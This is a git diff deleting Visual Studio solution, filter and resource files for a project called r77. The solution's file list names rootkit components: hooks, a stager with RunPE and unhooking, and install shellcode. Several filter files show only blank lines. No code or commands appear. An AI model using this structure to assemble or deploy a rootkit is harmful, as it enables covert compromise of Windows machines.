--- a/vs/InstallService64/InstallService64.vcxproj.filters
+++ /dev/null
@@ -1,26 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- {1e8b5ac9-65cd-4e5b-9f1e-0319a40a805d}
-
-
-
-
- Resources
-
-
-
-
-
-
\ No newline at end of file
diff --git a/vs/InstallService64/resource.h b/vs/InstallService64/resource.h
deleted file mode 100644
index e75db33..0000000
--- a/vs/InstallService64/resource.h
+++ /dev/null
@@ -1,16 +0,0 @@
-//{{NO_DEPENDENCIES}}
-// Microsoft Visual C++ generated include file.
-// Used by Resource.rc
-//
-#define IDR_R77 101
-
-// Next default values for new objects
-//
-#ifdef APSTUDIO_INVOKED
-#ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE 102
-#define _APS_NEXT_COMMAND_VALUE 40001
-#define _APS_NEXT_CONTROL_VALUE 1001
-#define _APS_NEXT_SYMED_VALUE 101
-#endif
-#endif
diff --git a/vs/Uninstall64/Uninstall64.vcxproj.filters b/vs/Uninstall64/Uninstall64.vcxproj.filters
deleted file mode 100644
index 2ae8806..0000000
--- a/vs/Uninstall64/Uninstall64.vcxproj.filters
+++ /dev/null
@@ -1,12 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/vs/r77-x64/r77-x64.vcxproj.filters b/vs/r77-x64/r77-x64.vcxproj.filters
deleted file mode 100644
index 5118ba7..0000000
--- a/vs/r77-x64/r77-x64.vcxproj.filters
+++ /dev/null
@@ -1,27 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/vs/r77-x86/r77-x86.vcxproj.filters b/vs/r77-x86/r77-x86.vcxproj.filters
deleted file mode 100644
index 76cc4df..0000000
--- a/vs/r77-x86/r77-x86.vcxproj.filters
+++ /dev/null
@@ -1,27 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/vs/r77.sln b/vs/r77.sln
deleted file mode 100644
index 0303176..0000000
--- a/vs/r77.sln
+++ /dev/null
@@ -1,233 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 12.00
-# Visual Studio Version 17
-VisualStudioVersion = 17.1.32328.378
-MinimumVisualStudioVersion = 10.0.40219.1
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestConsole", "TestConsole\TestConsole.csproj", "{E55F7214-8CC4-4E1D-AEDB-C908D23902A4}"
- ProjectSection(ProjectDependencies) = postProject
- {78BB6D02-6E02-4933-89DC-4AD8EE0B303F} = {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}
- {1BA54A13-B390-47B3-9628-B58A2BBA193B} = {1BA54A13-B390-47B3-9628-B58A2BBA193B}
- {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F} = {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}
- {06AF1D64-F2FC-4767-8794-7313C7BB0A40} = {06AF1D64-F2FC-4767-8794-7313C7BB0A40}
- EndProjectSection
-EndProject
-Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "SlnBin", "SlnBin", "{AA27A8EA-A3AF-4E2E-904B-4D52E76C93B3}"
- ProjectSection(SolutionItems) = preProject
- ..\SlnBin\BytecodeApi.dll = ..\SlnBin\BytecodeApi.dll
- ..\SlnBin\BytecodeApi.UI.dll = ..\SlnBin\BytecodeApi.UI.dll
- ..\SlnBin\BytecodeApi.UI.xml = ..\SlnBin\BytecodeApi.UI.xml
- ..\SlnBin\BytecodeApi.xml = ..\SlnBin\BytecodeApi.xml
- EndProjectSection
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r77-x64", "r77-x64\r77-x64.vcxproj", "{06AF1D64-F2FC-4767-8794-7313C7BB0A40}"
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r77-x86", "r77-x86\r77-x86.vcxproj", "{1BA54A13-B390-47B3-9628-B58A2BBA193B}"
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Uninstall", "Uninstall\Uninstall.vcxproj", "{F0005D08-6278-4BFE-B492-F86CCEC797D5}"
- ProjectSection(ProjectDependencies) = postProject
- {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0} = {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}
- {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}
- EndProjectSection
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Uninstall64", "Uninstall64\Uninstall64.vcxproj", "{00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}"
- ProjectSection(ProjectDependencies) = postProject
- {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}
- EndProjectSection
-EndProject
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Example", "Example\Example.csproj", "{86F8C733-F773-4AD8-9282-3F99953261FD}"
-EndProject
-Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "src", "src", "{F9ACA875-3756-47C7-ACA6-4AE8C07428CB}"
- ProjectSection(SolutionItems) = preProject
- ..\src\GlobalAssemblyInfo.cs = ..\src\GlobalAssemblyInfo.cs
- ..\src\ntdll.h = ..\src\ntdll.h
- ..\src\r77api.cpp = ..\src\r77api.cpp
- ..\src\r77api.h = ..\src\r77api.h
- EndProjectSection
-EndProject
-Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "r77", "r77", "{F9701B99-C959-4B41-A333-2E5A819DE7D6}"
- ProjectSection(SolutionItems) = preProject
- ..\src\r77\Config.cpp = ..\src\r77\Config.cpp
- ..\src\r77\Config.h = ..\src\r77\Config.h
- ..\src\r77\detours.h = ..\src\r77\detours.h
- ..\src\r77\Hooks.cpp = ..\src\r77\Hooks.cpp
- ..\src\r77\Hooks.h = ..\src\r77\Hooks.h
- ..\src\r77\r77.h = ..\src\r77\r77.h
- ..\src\r77\Register.cpp = ..\src\r77\Register.cpp
- ..\src\r77\Register.h = ..\src\r77\Register.h
- ..\src\r77\Rootkit.cpp = ..\src\r77\Rootkit.cpp
- ..\src\r77\Rootkit.h = ..\src\r77\Rootkit.h
- EndProjectSection
-EndProject
-Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Uninstall", "Uninstall", "{5CD983ED-1FDF-4F02-9824-4DE63AD30A30}"
- ProjectSection(SolutionItems) = preProject
- ..\src\Uninstall\Uninstall.cpp = ..\src\Uninstall\Uninstall.cpp
- ..\src\Uninstall\Uninstall.h = ..\src\Uninstall\Uninstall.h
- EndProjectSection
-EndProject
-Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Uninstall64", "Uninstall64", "{5A578679-90DA-4CAE-A27F-C9A6E5FDAA0A}"
- ProjectSection(SolutionItems) = preProject
- ..\src\Uninstall64\Uninstall64.cpp = ..\src\Uninstall64\Uninstall64.cpp
- ..\src\Uninstall64\Uninstall64.h = ..\src\Uninstall64\Uninstall64.h
- EndProjectSection
-EndProject
-Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "x64", "x64", "{9E4A0D38-D955-4858-8E0A-533DE4468296}"
- ProjectSection(SolutionItems) = preProject
- ..\SlnBin\x64\detours.lib = ..\SlnBin\x64\detours.lib
- ..\SlnBin\x64\detours.pdb = ..\SlnBin\x64\detours.pdb
- EndProjectSection
-EndProject
-Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "x86", "x86", "{3CA151CE-92D7-41B8-98E3-AA8FF632A9D6}"
- ProjectSection(SolutionItems) = preProject
- ..\SlnBin\x86\detours.lib = ..\SlnBin\x86\detours.lib
- ..\SlnBin\x86\detours.pdb = ..\SlnBin\x86\detours.pdb
- EndProjectSection
-EndProject
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BuildTask", "BuildTask\BuildTask.csproj", "{AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}"
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Install", "Install\Install.vcxproj", "{BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}"
- ProjectSection(ProjectDependencies) = postProject
- {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7} = {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}
- {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}
- EndProjectSection
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InstallService32", "InstallService32\InstallService32.vcxproj", "{7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}"
- ProjectSection(ProjectDependencies) = postProject
- {1BA54A13-B390-47B3-9628-B58A2BBA193B} = {1BA54A13-B390-47B3-9628-B58A2BBA193B}
- {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}
- EndProjectSection
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InstallService64", "InstallService64\InstallService64.vcxproj", "{E3104B33-DB3D-4C83-B393-1E05E1FF2B10}"
- ProjectSection(ProjectDependencies) = postProject
- {06AF1D64-F2FC-4767-8794-7313C7BB0A40} = {06AF1D64-F2FC-4767-8794-7313C7BB0A40}
- {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}
- EndProjectSection
-EndProject
-Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Install", "Install", "{EDF82557-A8A0-4D3B-8EEA-876AA31D5BE7}"
- ProjectSection(SolutionItems) = preProject
- ..\src\Install\Install.cpp = ..\src\Install\Install.cpp
- ..\src\Install\Install.h = ..\src\Install\Install.h
- EndProjectSection
-EndProject
-Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "InstallService", "InstallService", "{F4C656D1-8E26-4B38-96B8-3BF21BA2637C}"
- ProjectSection(SolutionItems) = preProject
- ..\src\InstallService\InstallService.cpp = ..\src\InstallService\InstallService.cpp
- ..\src\InstallService\InstallService.h = ..\src\InstallService\InstallService.h
- EndProjectSection
-EndProject
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "InstallStager", "InstallStager\InstallStager.csproj", "{4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}"
- ProjectSection(ProjectDependencies) = postProject
- {E3104B33-DB3D-4C83-B393-1E05E1FF2B10} = {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}
- {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA} = {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}
- EndProjectSection
-EndProject
-Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "InstallStager", "InstallStager", "{FB4DDDB6-6A4F-45E1-9B15-17477CCB3631}"
- ProjectSection(SolutionItems) = preProject
- ..\src\InstallStager\Helper.cs = ..\src\InstallStager\Helper.cs
- ..\src\InstallStager\InstallStager.cs = ..\src\InstallStager\InstallStager.cs
- ..\src\InstallStager\RunPE.cs = ..\src\InstallStager\RunPE.cs
- ..\src\InstallStager\Unhook.cs = ..\src\InstallStager\Unhook.cs
- EndProjectSection
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Helper32", "Helper32\Helper32.vcxproj", "{2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}"
- ProjectSection(ProjectDependencies) = postProject
- {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}
- EndProjectSection
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Helper64", "Helper64\Helper64.vcxproj", "{78BB6D02-6E02-4933-89DC-4AD8EE0B303F}"
- ProjectSection(ProjectDependencies) = postProject
- {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}
- EndProjectSection
-EndProject
-Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Helper", "Helper", "{DEB2910E-1CBA-4E1B-AEC0-BAD6A325983F}"
- ProjectSection(SolutionItems) = preProject
- ..\src\Helper\Helper.cpp = ..\src\Helper\Helper.cpp
- ..\src\Helper\Helper.h = ..\src\Helper\Helper.h
- EndProjectSection
-EndProject
-Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "InstallShellcode", "InstallShellcode", "{43D1C7C4-FE5D-4758-A86C-28DA780D46F0}"
- ProjectSection(SolutionItems) = preProject
- ..\src\InstallShellcode\InstallShellcode.asm = ..\src\InstallShellcode\InstallShellcode.asm
- ..\src\InstallShellcode\nt.inc = ..\src\InstallShellcode\nt.inc
- ..\src\InstallShellcode\PebApi.asm = ..\src\InstallShellcode\PebApi.asm
- ..\src\InstallShellcode\PebApi.inc = ..\src\InstallShellcode\PebApi.inc
- ..\src\InstallShellcode\RunPE.asm = ..\src\InstallShellcode\RunPE.asm
- EndProjectSection
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Any CPU = Debug|Any CPU
- Release|Any CPU = Release|Any CPU
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|Any CPU.Build.0 = Release|Any CPU
- {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|Any CPU.ActiveCfg = Debug|x64
- {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|Any CPU.Build.0 = Debug|x64
- {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|Any CPU.ActiveCfg = Release|x64
- {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|Any CPU.Build.0 = Release|x64
- {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|Any CPU.ActiveCfg = Debug|Win32
- {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|Any CPU.Build.0 = Debug|Win32
- {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|Any CPU.ActiveCfg = Release|Win32
- {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|Any CPU.Build.0 = Release|Win32
- {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|Any CPU.ActiveCfg = Debug|Win32
- {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|Any CPU.Build.0 = Debug|Win32
- {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|Any CPU.ActiveCfg = Release|Win32
- {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|Any CPU.Build.0 = Release|Win32
- {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|Any CPU.ActiveCfg = Debug|x64
- {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|Any CPU.Build.0 = Debug|x64
- {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|Any CPU.ActiveCfg = Release|x64
- {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|Any CPU.Build.0 = Release|x64
- {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|Any CPU.Build.0 = Release|Any CPU
- {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|Any CPU.Build.0 = Release|Any CPU
- {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|Any CPU.ActiveCfg = Debug|Win32
- {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|Any CPU.Build.0 = Debug|Win32
- {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|Any CPU.ActiveCfg = Release|Win32
- {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|Any CPU.Build.0 = Release|Win32
- {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|Any CPU.ActiveCfg = Debug|Win32
- {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|Any CPU.Build.0 = Debug|Win32
- {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|Any CPU.ActiveCfg = Release|Win32
- {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|Any CPU.Build.0 = Release|Win32
- {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|Any CPU.ActiveCfg = Debug|x64
- {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|Any CPU.Build.0 = Debug|x64
- {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|Any CPU.ActiveCfg = Release|x64
- {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|Any CPU.Build.0 = Release|x64
- {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|Any CPU.Build.0 = Release|Any CPU
- {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|Any CPU.ActiveCfg = Debug|Win32
- {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|Any CPU.Build.0 = Debug|Win32
- {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|Any CPU.ActiveCfg = Release|Win32
- {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|Any CPU.Build.0 = Release|Win32
- {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|Any CPU.ActiveCfg = Debug|x64
- {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|Any CPU.Build.0 = Debug|x64
- {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|Any CPU.ActiveCfg = Release|x64
- {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|Any CPU.Build.0 = Release|x64
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
- GlobalSection(NestedProjects) = preSolution
- {F9701B99-C959-4B41-A333-2E5A819DE7D6} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB}
- {5CD983ED-1FDF-4F02-9824-4DE63AD30A30} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB}
- {5A578679-90DA-4CAE-A27F-C9A6E5FDAA0A} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB}
- {9E4A0D38-D955-4858-8E0A-533DE4468296} = {AA27A8EA-A3AF-4E2E-904B-4D52E76C93B3}
- {3CA151CE-92D7-41B8-98E3-AA8FF632A9D6} = {AA27A8EA-A3AF-4E2E-904B-4D52E76C93B3}
- {EDF82557-A8A0-4D3B-8EEA-876AA31D5BE7} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB}
- {F4C656D1-8E26-4B38-96B8-3BF21BA2637C} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB}
- {FB4DDDB6-6A4F-45E1-9B15-17477CCB3631} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB}
- {DEB2910E-1CBA-4E1B-AEC0-BAD6A325983F} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB}
- {43D1C7C4-FE5D-4758-A86C-28DA780D46F0} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB}
- EndGlobalSection
- GlobalSection(ExtensibilityGlobals) = postSolution
- SolutionGuid = {A070C206-A2CD-4C8A-878F-A43650D1A3B1}
- EndGlobalSection
-EndGlobal